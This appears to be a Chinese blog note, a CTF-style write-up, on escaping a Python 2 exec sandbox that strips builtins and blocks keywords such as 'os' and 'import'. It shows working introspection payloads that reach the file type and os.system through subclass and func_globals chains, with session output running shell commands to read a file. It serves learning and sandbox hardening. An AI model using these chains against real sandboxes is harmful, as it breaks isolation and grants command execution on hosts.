Python Sandbox Excape

概述

最近刚刚学习了Python Sandbox Excape,赶紧记录一下。

背景

这是某个大牛的python沙盒逃逸实验的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- coding: utf-8 -*-
# !/usr/bin/env python
from __future__ import print_function
print("Welcome to my Python sandbox! Enter commands below!")
banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]
targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets: # 去除所有内置函数除print raw_input
del __builtins__.__dict__[x]
while 1:
print(">>>", end=' ')
data = raw_input()
for no in banned:
if no.lower() in data.lower():
print("No bueno")
break
else: # this means nobreak
try:
exec data
except:
print ("error !")

不能出现banned列表中的字符,但是需要读取flag文件内容。

方法

file方法

1
2
3
4
5
6
7
8
9
>>> [].__class__
<type 'list'>
>>> {}.__class__
<type 'dict'>
>>> ().__class__
<type 'tuple'>
>>> {}.__class__.__base__
<type 'object'>

发现__subclasses__()里有file

1
2
>>> ().__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>]
1
2
3
4
5
6
7
8
9
10
11
12
13
>>> ().__class__.__base__.__subclasses__().index(file)
40
>>> ().__class__.__base__.__subclasses__()[40]
<type 'file'>
>>> f=().__class__.__base__.__subclasses__()[40]
>>> f('test.txt','r').read()
'this is a test!'
>>> print (f('test.txt','r').read())
this is a test!

os模块system

同样的还有一种方法就是使用os模块来执行系统命令system,但是os被屏蔽,先找到os

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
>>> ().__class__.__base__.__subclasses__()[60]
<class 'warnings.catch_warnings'>
>>> ().__class__.__base__.__subclasses__()[60].__init__.func_globals.keys()
['filterwarnings', 'once_registry', 'WarningMessage', '_show_warning', 'filters', '_setoption', 'showwarning', '__all__', 'onceregistry', '__package__', 'simplefilter', 'default_action', '_getcategory', '__builtins__', 'catch_warnings', '__file__', 'warnpy3k', 'sys', '__name__', 'warn_explicit', 'types', 'warn', '_processoptions', 'defaultaction', '__doc__', 'linecache', '_OptionError', 'resetwarnings', 'formatwarning', '_getaction']
>>> ().__class__.__base__.__subclasses__()[60].__init__.func_globals.keys().index('linecache')
25
>>> ().__class__.__base__.__subclasses__()[60].__init__.func_globals.keys()[25]
'linecache'
>>> ().__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.keys()
['updatecache', 'clearcache', '__all__', '__builtins__', '__file__', 'cache', 'checkcache', 'getline', '__package__', 'sys', 'getlines', '__name__', 'os', '__doc__']
>>> ().__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]
<module 'os' from 'C:\mySoft\python2.7.9\lib\os.pyc'>

然后找system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
>>> ().__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12].__dict__.keys().index('system')
79
>>> a=[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]
>>> a
<module 'os' from 'C:\mySoft\python2.7.9\lib\os.pyc'>
>>> s=a.__dict__.keys()
>>> s
['lseek', 'O_SEQUENTIAL', 'pathsep', 'execle', '_Environ', 'kill', 'urandom', 'execlp', 'startfile', 'umask', 'linesep', 'getpid', 'spawnve', 'devnull', 'fstat', 'getenv', 'O_CREAT', 'dup2', 'read', '__file__', 'P_OVERLAY', 'O_RDONLY', 'TMP_MAX', 'utime', 'execl', 'F_OK', '_make_stat_result', 'name', 'fsync', 'remove', 'P_NOWAITO', '_copy_reg', 'execv', 'execlpe', 'pardir', 'tempnam', 'tmpfile', 'sep', 'popen4', 'defpath', 'popen2', 'stat', 'O_APPEND', 'altsep', 'close', '_exists', '__all__', 'makedirs', 'getcwdu', 'access', 'UserDict', 'O_RDWR', 'P_WAIT', 'stat_result', 'lstat', '__builtins__', 'O_TEMPORARY', 'walk', 'getcwd', 'stat_float_times', '__name__', 'O_TRUNC', 'O_TEXT', 'SEEK_END', 'popen', 'times', 'P_NOWAIT', 'removedirs', '_pickle_statvfs_result', '_exit', '_get_exports_list', 'chmod', 'SEEK_CUR', 'path', 'open', 'putenv', 'fdopen', 'errno', 'mkdir', 'system', '_execvpe', 'rmdir', 'O_WRONLY', 'dup', 'O_NOINHERIT', '__doc__', 'curdir', 'isatty', 'execvpe', 'closerange', 'execvp', 'popen3', 'X_OK', 'O_SHORT_LIVED', 'execve', 'chdir', 'strerror', 'R_OK', 'error', 'extsep', 'rename', 'P_DETACH', 'W_OK', 'abort', 'statvfs_result', 'spawnl', 'tmpnam', '__package__', 'write', 'waitpid', 'spawnv', 'listdir', '_pickle_stat_result', 'unsetenv', 'SEEK_SET', 'spawnle', 'sys', 'O_RANDOM', 'unlink', 'O_BINARY', '_make_statvfs_result', 'O_EXCL', 'pipe', 'environ', 'renames']
>>> s=a.__dict__.keys().index('system')
>>> s
79
>>> s=a.__dict__.keys()[79]
>>> s
'system'

读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>>> s=a.__dict__.values()[79]
>>> s
<built-in function system>
>>> s('dir')
驱动器 C 中的卷是 WIN 7
卷的序列号是 28DD-3D6F
C:\Users\Administrator\Desktop 的目录
2016/10/24 周一 上午 10:19 <DIR> .
2016/10/24 周一 上午 10:19 <DIR> ..
2016/10/24 周一 上午 10:19 15 test.txt
>>> s('type test.txt')
this is a test!0

或者像下面一样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
>>> print (().__class__)
<type 'tuple'>
>>> print (().__class__.__base__)
<type 'object'>
>>> print (().__class__.__base__.__subclasses__)
<built-in method __subclasses__ of type object at 0x1E229708>
>>> print (().__class__.__base__.__subclasses__())
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <type 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type 'MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>]
>>> print (().__class__.__base__.__subclasses__()[60])
<class 'warnings.catch_warnings'>
>>> print (().__class__.__base__.__subclasses__()[60].__init__.func_globals.keys())
['filterwarnings', 'once_registry', 'WarningMessage', '_show_warning', 'filters', '_setoption', 'showwarning', '__all__', 'onceregistry', '__package__', 'simplefilter', 'default_action', '_getcategory', '__builtins__', 'catch_warnings', '__file__', 'warnpy3k', 'sys', '__name__', 'warn_explicit', 'types', 'warn', '_processoptions', 'defaultaction', '__doc__', 'linecache', '_OptionError', 'resetwarnings', 'formatwarning', '_getaction']
>>> print (().__class__.__base__.__subclasses__()[60].__init__.func_globals.keys()[25])
linecache
>>> print ([].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'])
<module 'linecache' from 'C:\mySoft\python2.7.9\lib\linecache.pyc'>
>>> print ([].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.keys())
['updatecache', 'clearcache', '__all__', '__builtins__', '__file__', 'cache', 'checkcache', 'getline', '__package__', 'sys', 'getlines', '__name__', 'os', '__doc__']
>>> print ([].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.keys()[12])
os
>>> print ([].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12])
<module 'os' from 'C:\mySoft\python2.7.9\lib\os.pyc'>
>>> print ([].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12].__dict__.keys())
['lseek', 'O_SEQUENTIAL', 'pathsep', 'execle', '_Environ', 'kill', 'urandom', 'execlp', 'startfile', 'umask', 'linesep', 'getpid', 'spawnve', 'devnull', 'fstat', 'getenv', 'O_CREAT', 'dup2', 'read', '__file__', 'P_OVERLAY', 'O_RDONLY', 'TMP_MAX', 'utime', 'execl', 'F_OK', '_make_stat_result', 'name', 'fsync', 'remove', 'P_NOWAITO', '_copy_reg', 'execv', 'execlpe', 'pardir', 'tempnam', 'tmpfile', 'sep', 'popen4', 'defpath', 'popen2', 'stat', 'O_APPEND', 'altsep', 'close', '_exists', '__all__', 'makedirs', 'getcwdu', 'access', 'UserDict', 'O_RDWR', 'P_WAIT', 'stat_result', 'lstat', '__builtins__', 'O_TEMPORARY', 'walk', 'getcwd', 'stat_float_times', '__name__', 'O_TRUNC', 'O_TEXT', 'SEEK_END', 'popen', 'times', 'P_NOWAIT', 'removedirs', '_pickle_statvfs_result', '_exit', '_get_exports_list', 'chmod', 'SEEK_CUR', 'path', 'open', 'putenv', 'fdopen', 'errno', 'mkdir', 'system', '_execvpe', 'rmdir', 'O_WRONLY', 'dup', 'O_NOINHERIT', '__doc__', 'curdir', 'isatty', 'execvpe', 'closerange', 'execvp', 'popen3', 'X_OK', 'O_SHORT_LIVED', 'execve', 'chdir', 'strerror', 'R_OK', 'error', 'extsep', 'rename', 'P_DETACH', 'W_OK', 'abort', 'statvfs_result', 'spawnl', 'tmpnam', '__package__', 'write', 'waitpid', 'spawnv', 'listdir', '_pickle_stat_result', 'unsetenv', 'SEEK_SET', 'spawnle', 'sys', 'O_RANDOM', 'unlink', 'O_BINARY', '_make_statvfs_result', 'O_EXCL', 'pipe', 'environ', 'renames']
>>> print ([].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12].__dict__.keys()[79])
system
>>> print ([].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12].__dict__.values()[79]('type test.txt'))
this is a test!0

当然,还有很多方式